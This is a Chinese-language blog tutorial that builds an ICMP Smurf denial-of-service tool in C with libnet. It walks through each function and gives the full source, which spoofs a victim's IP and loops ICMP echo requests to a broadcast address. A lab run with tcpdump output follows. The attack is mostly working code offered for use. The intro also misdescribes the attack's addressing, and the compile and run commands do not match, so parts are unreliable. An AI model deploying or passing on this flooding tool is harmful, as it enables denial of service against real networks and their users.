Libnet实现ICMP SMURF攻击

Libnet实现ICMP SMURF攻击

完整代码在文末

什么是ICMP SMURF攻击

ICMP SMURF攻击是一种DDoS攻击,利用了Internet Control Message Protocol (ICMP) 的功能和网络的特性,目的是通过大量伪造的ICMP回应数据包(通常是使用广播地址)来消耗目标网络的带宽和资源。

攻击者发送一个特殊构造的ICMP Echo Request(ping)数据包,将源IP地址设置为目标网络中的广播地址。然后,攻击者期望目标网络中的所有设备都会接收到该请求并发送回应,因为广播地址会被发送到所有设备。但由于源IP地址是伪造的,回应的目标地址将被设置为广播地址,这将导致大量的ICMP Echo Reply(回应)数据包同时发送到目标网络上的所有设备。

由于每个ICMP Echo Reply数据包都会触发目标网络上所有设备的回应,攻击者可以利用这种方式来发起分布式拒绝服务(DDoS)攻击。大量的回应流量将占用目标网络的带宽和处理能力,导致网络拥塞和服务不可用。

Libnet库介绍

Libnet是一个用于网络编程的开源库,它提供了一组函数和工具,使开发者能够方便地构建和发送网络数据包。Libnet库支持多种协议和数据包格式,包括IP、TCP、UDP、ICMP等,可以在各种网络应用和工具中使用。

  1. 支持多种协议:Libnet库支持构建和操作多种网络协议,包括IP协议(IPv4和IPv6)、TCP、UDP、ICMP、ARP等。这使得开发者能够在应用程序中创建和处理各种类型的网络数据包。
  2. 灵活的数据包构建:Libnet库提供了一组函数,用于构建和修改各种类型的网络数据包。开发者可以通过设置源IP地址、目标IP地址、端口号、标志位等字段来自定义数据包的内容和属性。这使得开发者能够灵活地创建符合自己需求的数据包。
  3. 数据包发送和注入:Libnet库提供了发送和注入数据包的功能。开发者可以使用Libnet库将构建好的数据包发送到网络中的目标主机,或者将数据包注入到本地网络设备上。这使得开发者能够直接与网络进行交互,并实现各种网络应用和工具。
  4. 支持原始套接字和数据链路层访问:Libnet库支持使用原始套接字(raw sockets)进行网络编程,从而可以直接访问和操作网络层和传输层的数据包。此外,Libnet库还提供了对数据链路层(如以太网帧)的访问,使得开发者能够更底层地操作网络数据。
  5. 跨平台支持:Libnet库可在多个操作系统和平台上使用,包括Linux、Unix、Windows等。这使得开发者能够在不同的环境中进行网络编程,并实现跨平台的网络应用程序。

下载libnet

sudo apt install libnet-dev

在C语言中使用libnet

#include <libnet.h>

Libnet实现ICMP SMURF攻击

初始化Libnet句柄

下面的函数初始化Libnet句柄。使用libnet_init()函数创建Libnet句柄。该函数返回一个指向libnet_t类型的句柄,用于后续的Libnet操作。成功初始化Libnet句柄后,就可以使用该句柄进行数据包构建、发送和注入等操作。

/*******************************************************
 * @brief 初始化libnet句柄
 *
 * @param l
 * @param device
 * @param errbuf
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
libnet_t *initLibNet(const char *device)
{
    /**
     * LIBNET_RAW4表示使用IPv4协议
     * ens33是网络接口的名称
     * errbuf是用于存储错误信息的缓冲区
     */
    // 如果要libnet自动选择默认的网络接口,可以将第二个参数设置为NULL。
    char errbuf[LIBNET_ERRBUF_SIZE];
    libnet_t *l = libnet_init(LIBNET_RAW4, device, errbuf);
    if (l == NULL)
    {
        fprintf(stderr, "init libnet failed: %s\n", libnet_geterror(l));
        libnet_destroy(l);
        exit(0);
    }
    return l;
}

libnet_init()参数说明:

  • injection_type:指定数据包注入类型,可以是LIBNET_LINK(数据链路层注入)或LIBNET_RAW4(原始套接字注入)。选择合适的注入类型取决于具体的需求和应用场景。如果需要发送以太网帧或进行更底层的网络编程,可以选择LIBNET_LINK注入类型。如果只需要发送IPv4数据包,可以选择LIBNET_RAW4注入类型。
  • device:指定用于数据包注入的网络设备,可以是网络接口的名称或NULL(由Libnet库自动选择默认设备)。
  • errbuf:错误缓冲区,用于存储错误消息。

libnet_t结构的一些主要成员

typedef struct libnet_context libnet_t;

struct libnet_context {
    int fd;                             // 文件描述符
    int injection_type;                 // 注入类型(LIBNET_LINK或LIBNET_RAW4)
    u_char *device;                     // 网络设备名称
    libnet_ptag_t ptag_state;           // 数据包标签状态
    char *label;                        // 标签字符串
    libnet_link_type_t link_type;       // 数据链路层类型
    void *label_data;                   // 标签数据
    libnet_pblock_t *protocol_blocks;   // 协议块链表
    libnet_pblock_t *pblock_end;        // 协议块链表尾部
    libnet_resolve_func_t *resolve;     // 解析函数
    libnet_link_stats_t link_stats;     // 数据链路层统计信息
    char err_buf[LIBNET_ERRBUF_SIZE];   // 错误缓冲区
    /* ... 其他成员 ... */
};

解析IP地址

使用libnet_name2addr4函数对目标主机和源主机的字符串形式IP地址进行解析,并将解析结果存储在target_ipsource_ip指向的变量中。

/*******************************************************
 * @brief 解析ip地址
 *
 * @param target_ip
 * @param source_ip
 * @param target
 * @param source
 * @param l
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
void parserHost(u_int32_t *target_ip, u_int32_t *source_ip,
                const char *target, const char *source, libnet_t *l)
{
    // 解析IP地址
    *target_ip = libnet_name2addr4(l, (char *)target, LIBNET_RESOLVE);
    *source_ip = libnet_name2addr4(l, (char *)source, LIBNET_RESOLVE);
    if (*target_ip == -1 || *source_ip == -1)
    {
        fprintf(stderr, "Invalid IP address: from %s to %s\n", source, target);
        libnet_destroy(l);
        exit(0);
    }
}

构造ICMP数据包

函数build_icmpv4接受一个指向Libnet句柄的指针l作为参数。

在函数内部,首先定义了变量packet_size用于存储数据包的大小,以及变量packet用于存储构建的数据包。然后,通过调用getpid()函数获取当前进程的ID,并将其赋值给变量id作为ICMP报文的标识字段。设置序列号字段seq为0。然后计算数据包的大小,这里使用了常量LIBNET_ICMPV4_ECHO_H表示ICMP Echo头部的长度,加上8字节的数据长度(这里没有提供有效负载数据)。最后,使用libnet_build_icmpv4_echo函数构建ICMP Echo Request数据包,并返回构建的数据包。

/*******************************************************
 * @brief 构造icmp数据包
 *
 * @param l
 * @return libnet_ptag_t
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
u_char *build_icmpv4(libnet_t *l)
{
    // 构造ICMP Echo Request数据包
    int packet_size;
    u_char *packet;
    u_int16_t id, seq;
    id = (u_int16_t)getpid();
    seq = 0;
    // ICMP头部长度 + 数据长度
    packet_size = LIBNET_ICMPV4_ECHO_H + 8;
    packet = (u_char *)malloc(packet_size);
    if (packet == NULL)
    {
        fprintf(stderr, "Failed to allocate memory for packet.\n");
        libnet_destroy(l);
        return 0;
    }
    libnet_ptag_t ptag = libnet_build_icmpv4_echo(
        ICMP_ECHO,   // type of ICMP packet
        0,           // code of ICMP packet
        0,           // checksum (0 for libnet to autofill)
        id,          // identification number
        seq,         // packet sequence number
        packet,      // optional payload or NULL
        packet_size, // payload length or 0
        l,           // pointer to a libnet context
        0);          // protocol tag to modify an existing header, 0 to build a new one
    if (-1 == ptag)
    {
        fprintf(stderr, "build a icmp packet failed.\n");
        libnet_destroy(l);
        exit(0);
    }
    return packet;
}

关于libnet_build_icmpv4_echo函数的参数释义,在文件/usr/include/libnet/libnet-functions.h中,如下所示。

/**
 * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP)
 * echo request/reply header
 * @param type type of ICMP packet (should be ICMP_ECHOREPLY or ICMP_ECHO)
 * @param code code of ICMP packet (should be 0)
 * @param sum checksum (0 for libnet to autofill)
 * @param id identification number
 * @param seq packet sequence number
 * @param payload optional payload or NULL
 * @param payload_s payload length or 0
 * @param l pointer to a libnet context
 * @param ptag protocol tag to modify an existing header, 0 to build a new one
 * @return protocol tag value on success, -1 on error
 */
libnet_ptag_t
libnet_build_icmpv4_echo(uint8_t type, uint8_t code, uint16_t sum,
uint16_t id, uint16_t seq, const uint8_t* payload, uint32_t payload_s,
libnet_t *l, libnet_ptag_t ptag);

构造IPv4数据包

函数build_ipv4接受一个指向Libnet句柄的指针l,以及目标主机IP地址和源主机IP地址作为参数。在函数内部,使用libnet_build_ipv4函数构建IPv4数据包。

/*******************************************************
 * @brief 构建ip数据包
 *
 * @param l
 * @param target_ip
 * @param source_ip
 * @return libnet_ptag_t
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
libnet_ptag_t build_ipv4(libnet_t *l, u_int32_t target_ip, u_int32_t source_ip)
{
    // 构造ip数据包
    libnet_ptag_t ptag = libnet_build_ipv4(
        LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + 8, // 数据包长度
        0,                                        // TOS
        libnet_get_prand(LIBNET_PRu16),           // IP标识字段
        0,                                        // IP标志和片偏移字段
        64,                                       // TTL
        IPPROTO_ICMP,                             // 上层协议为ICMP
        0,                                        // 校验和(由libnet自动计算)
        source_ip,                                // 源IP地址
        target_ip,                                // 目标IP地址
        NULL,                                     // 负载数据(无)
        0,                                        // 负载数据长度(无)
        l,                                        // libnet句柄
        0                                         // IPv4数据包标签
    );
    if (-1 == ptag)
    {
        fprintf(stderr, "build a ipv4 packet failed.\n");
        libnet_destroy(l);
        exit(0);
    }
    return ptag;
}

libnet_build_ipv4函数的参数释义,在文件/usr/include/libnet/libnet-functions.h中,如下所示。

/**
 * Builds a version 4 RFC 791 Internet Protocol (IP) header.
 *
 * @param ip_len total length of the IP packet including all subsequent data (subsequent
 *   data includes any IP options and IP options padding)
 * @param tos type of service bits
 * @param id IP identification number
 * @param frag fragmentation bits and offset
 * @param ttl time to live in the network
 * @param prot upper layer protocol
 * @param sum checksum (0 for libnet to autofill)
 * @param src source IPv4 address (little endian)
 * @param dst destination IPv4 address (little endian)
 * @param payload optional payload or NULL
 * @param payload_s payload length or 0
 * @param l pointer to a libnet context
 * @param ptag protocol tag to modify an existing header, 0 to build a new one
 * @return protocol tag value on success, -1 on error
 */
libnet_ptag_t 
libnet_build_ipv4(uint16_t ip_len, uint8_t tos, uint16_t id, uint16_t frag,
uint8_t ttl, uint8_t prot, uint16_t sum, uint32_t src, uint32_t dst,
const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag);

发送构造的数据包

函数sendPacket接受一个指向Libnet句柄的指针l,一个指向数据包的指针packet,以及目标主机和源主机的字符串作为参数。使用libnet_write函数发送数据包并返回发送的字节数。将返回的字节数存储在变量len中。

/*******************************************************
 * @brief 发送构造的数据包
 *
 * @param l
 * @param packet
 * @param target
 * @param source
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
void sendPacket(libnet_t *l, u_char *packet, const char *target, const char *source)
{
    int len = libnet_write(l);
    if (-1 == len)
    {
        fprintf(stderr, "Failed to send a icmp packet. %s", libnet_geterror(l));
        libnet_destroy(l);
        exit(0);
    }
    printf("send a %d bytes icmp echo from %s to %s.\n", len, source, target);
}

主函数

主程序从命令行参数中获取网络接口名称、源主机地址和目标主机地址。

调用initLibNet函数初始化 Libnet 句柄,并将网络接口名称传递给它。这将返回一个指向 Libnet 句柄的指针l

调用parserHost函数解析目标主机地址和源主机地址。该函数将目标主机地址和源主机地址作为字符串传递给targetsource参数,并将解析后的 IP 地址存储在target_ipsource_ip变量中。

调用build_icmpv4函数构建 ICMPv4 数据包,并将返回的数据包指针存储在packet变量中。

调用build_ipv4函数构建 IPv4 数据包,并将目标主机地址、源主机地址以及 Libnet 句柄传递给它。该函数将返回一个数据包标签ptag

最后,循环发送伪造的ICMP数据包。

int main(int argc, char const *argv[])
{
    /* code */
    libnet_t *l;
    // 网络接口
    const char *device = argv[1];
    // 受害者的ip地址
    const char *source = argv[2];
    u_int32_t source_ip;
    // 帮凶的ip地址
    const char *target = argv[3];
    u_int32_t target_ip;
    // 数据包
    u_char *packet;
    // 初始化libnet句柄,绑定网络接口
    l = initLibNet(device);
    // 解析ip地址
    parserHost(&target_ip, &source_ip, target, source, l);
    libnet_ptag_t ptag;
    // 构造icmp数据包
    packet = build_icmpv4(l);
    // 构造ip数据包
    ptag = build_ipv4(l, target_ip, source_ip);
    // 持续发送数据包
    while (1)
    {
        // 发送icmp数据包
        sendPacket(l, packet, target, source);
        sleep(1);
    }
    // 清理资源
    free(packet);
    libnet_destroy(l);
    return 0;
}

实现效果

在攻击机192.168.219.128编译链接源代码

gcc -o icmp_smurf icmp_smurf -lnet

在受害机192.168.219.129上使用tcpdump验证效果

sudo tcpdump -vv -i ens33 icmp

在攻击机192.168.219.128运行程序

sudo ./main ens33 192.168.219.129 192.168.219.255

在受害机192.168.219.129上tcpdump结果如下,可知攻击机192.168.219.128成功伪造了来自受害机192.168.219.129的ICMP广播报文,导致受害机192.168.219.129收到了来自网关的ICMP echo reply

tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
15:29:45.665708 IP (tos 0x0, ttl 64, id 45298, offset 0, flags [none], proto ICMP (1), length 44)
    androm > 192.168.219.255: ICMP echo request, id 4330, seq 0, length 24
15:29:45.665750 IP (tos 0x0, ttl 128, id 51423, offset 0, flags [none], proto ICMP (1), length 44)
    _gateway > androm: ICMP echo reply, id 4330, seq 0, length 24
15:29:46.666688 IP (tos 0x0, ttl 64, id 45298, offset 0, flags [none], proto ICMP (1), length 44)
    androm > 192.168.219.255: ICMP echo request, id 4330, seq 0, length 24
15:29:46.666702 IP (tos 0x0, ttl 128, id 51482, offset 0, flags [none], proto ICMP (1), length 44)
    _gateway > androm: ICMP echo reply, id 4330, seq 0, length 24
15:29:47.667545 IP (tos 0x0, ttl 64, id 45298, offset 0, flags [none], proto ICMP (1), length 44)
    androm > 192.168.219.255: ICMP echo request, id 4330, seq 0, length 24
15:29:47.667559 IP (tos 0x0, ttl 128, id 51723, offset 0, flags [none], proto ICMP (1), length 44)
    _gateway > androm: ICMP echo reply, id 4330, seq 0, length 24
15:29:48.669736 IP (tos 0x0, ttl 64, id 45298, offset 0, flags [none], proto ICMP (1), length 44)
    androm > 192.168.219.255: ICMP echo request, id 4330, seq 0, length 24
15:29:48.669756 IP (tos 0x0, ttl 128, id 52302, offset 0, flags [none], proto ICMP (1), length 44)
    _gateway > androm: ICMP echo reply, id 4330, seq 0, length 24
15:29:49.670432 IP (tos 0x0, ttl 64, id 45298, offset 0, flags [none], proto ICMP (1), length 44)
    androm > 192.168.219.255: ICMP echo request, id 4330, seq 0, length 24
15:29:49.670489 IP (tos 0x0, ttl 128, id 52814, offset 0, flags [none], proto ICMP (1), length 44)
    _gateway > androm: ICMP echo reply, id 4330, seq 0, length 24
15:29:50.672971 IP (tos 0x0, ttl 64, id 45298, offset 0, flags [none], proto ICMP (1), length 44)
    androm > 192.168.219.255: ICMP echo request, id 4330, seq 0, length 24
15:29:50.673013 IP (tos 0x0, ttl 128, id 53336, offset 0, flags [none], proto ICMP (1), length 44)
    _gateway > androm: ICMP echo reply, id 4330, seq 0, length 24
15:29:51.674205 IP (tos 0x0, ttl 64, id 45298, offset 0, flags [none], proto ICMP (1), length 44)
    androm > 192.168.219.255: ICMP echo request, id 4330, seq 0, length 24
# 略

疑问?

受害机192.168.219.129只收到了来自网关的ICMP echo reply,而没有受到来自同一网段下的攻击机192.168.219.128ICMP echo reply报文呢?

同样使用tcpdump查看攻击机192.168.219.128的数据包,发现攻击机192.168.219.128能够正常收到广播ICMP echo request数据包,不过是来自网关的。

猜测可能是因为NAT网络的缘故,广播报文经过NAT转发,修改了源IP地址,导致网段下的其他主机收到的广播ICMP echo request数据包都来自于网关。

完整代码

/*******************************************************
 * @file main.c
 * @author cSuk1 (652240843@qq.com)
 * @brief icmp smurf攻击
 * @version 0.1
 * @date 2023-11-29
 *
 *
 *******************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
#include <rpc/types.h>

/*******************************************************
 * @brief 初始化libnet句柄
 *
 * @param l
 * @param device
 * @param errbuf
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
libnet_t *initLibNet(const char *device)
{
    /**
     * LIBNET_RAW4表示使用IPv4协议
     * ens33是网络接口的名称
     * errbuf是用于存储错误信息的缓冲区
     */
    // 如果要libnet自动选择默认的网络接口,可以将第二个参数设置为NULL。
    char errbuf[LIBNET_ERRBUF_SIZE];
    libnet_t *l = libnet_init(LIBNET_RAW4, device, errbuf);
    if (l == NULL)
    {
        fprintf(stderr, "init libnet failed: %s\n", libnet_geterror(l));
        libnet_destroy(l);
        exit(0);
    }
    return l;
}

/*******************************************************
 * @brief 解析ip地址
 *
 * @param target_ip
 * @param source_ip
 * @param target
 * @param source
 * @param l
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
void parserHost(u_int32_t *target_ip, u_int32_t *source_ip,
                const char *target, const char *source, libnet_t *l)
{
    // 解析IP地址
    *target_ip = libnet_name2addr4(l, (char *)target, LIBNET_RESOLVE);
    *source_ip = libnet_name2addr4(l, (char *)source, LIBNET_RESOLVE);
    if (*target_ip == -1 || *source_ip == -1)
    {
        fprintf(stderr, "Invalid IP address: from %s to %s\n", source, target);
        libnet_destroy(l);
        exit(0);
    }
}

/*******************************************************
 * @brief 构造icmp数据包
 *
 * @param l
 * @return libnet_ptag_t
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
u_char *build_icmpv4(libnet_t *l)
{
    // 构造ICMP Echo Request数据包
    int packet_size;
    u_char *packet;
    u_int16_t id, seq;
    id = (u_int16_t)getpid();
    seq = 0;
    // ICMP头部长度 + 数据长度
    packet_size = LIBNET_ICMPV4_ECHO_H + 8;
    packet = (u_char *)malloc(packet_size);
    if (packet == NULL)
    {
        fprintf(stderr, "Failed to allocate memory for packet.\n");
        libnet_destroy(l);
        return 0;
    }
    libnet_ptag_t ptag = libnet_build_icmpv4_echo(
        ICMP_ECHO,   // type of ICMP packet
        0,           // code of ICMP packet
        0,           // checksum (0 for libnet to autofill)
        id,          // identification number
        seq,         // packet sequence number
        packet,      // optional payload or NULL
        packet_size, // payload length or 0
        l,           // pointer to a libnet context
        0);          // protocol tag to modify an existing header, 0 to build a new one
    if (-1 == ptag)
    {
        fprintf(stderr, "build a icmp packet failed.\n");
        libnet_destroy(l);
        exit(0);
    }
    return packet;
}

/*******************************************************
 * @brief 构建ip数据包
 *
 * @param l
 * @param target_ip
 * @param source_ip
 * @return libnet_ptag_t
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
libnet_ptag_t build_ipv4(libnet_t *l, u_int32_t target_ip, u_int32_t source_ip)
{
    // 构造ip数据包
    libnet_ptag_t ptag = libnet_build_ipv4(
        LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + 8, // 数据包长度
        0,                                        // TOS
        libnet_get_prand(LIBNET_PRu16),           // IP标识字段
        0,                                        // IP标志和片偏移字段
        64,                                       // TTL
        IPPROTO_ICMP,                             // 上层协议为ICMP
        0,                                        // 校验和(由libnet自动计算)
        source_ip,                                // 源IP地址
        target_ip,                                // 目标IP地址
        NULL,                                     // 负载数据(无)
        0,                                        // 负载数据长度(无)
        l,                                        // libnet句柄
        0                                         // IPv4数据包标签
    );
    if (-1 == ptag)
    {
        fprintf(stderr, "build a ipv4 packet failed.\n");
        libnet_destroy(l);
        exit(0);
    }
    return ptag;
}

/*******************************************************
 * @brief 发送构造的数据包
 *
 * @param l
 * @param packet
 * @param target
 * @param source
 * @author cSuk1 (652240843@qq.com)
 * @date 2023-11-29
 *******************************************************/
void sendPacket(libnet_t *l, u_char *packet, const char *target, const char *source)
{
    int len = libnet_write(l);
    if (-1 == len)
    {
        fprintf(stderr, "Failed to send a icmp packet. %s", libnet_geterror(l));
        libnet_destroy(l);
        exit(0);
    }
    printf("send a %d bytes icmp echo from %s to %s.\n", len, source, target);
}

int main(int argc, char const *argv[])
{
    /* code */
    libnet_t *l;
    // 网络接口
    const char *device = argv[1];
    // 受害者的ip地址
    const char *source = argv[2];
    u_int32_t source_ip;
    // 帮凶的ip地址
    const char *target = argv[3];
    u_int32_t target_ip;
    // 数据包
    u_char *packet;
    // 初始化libnet句柄,绑定网络接口
    l = initLibNet(device);
    // 解析ip地址
    parserHost(&target_ip, &source_ip, target, source, l);
    libnet_ptag_t ptag;
    // 构造icmp数据包
    packet = build_icmpv4(l);
    // 构造ip数据包
    ptag = build_ipv4(l, target_ip, source_ip);
    // 持续发送数据包
    while (1)
    {
        // 发送icmp数据包
        sendPacket(l, packet, target, source);
        sleep(1);
    }
    // 清理资源
    free(packet);
    libnet_destroy(l);
    return 0;
}

 

------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞25赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片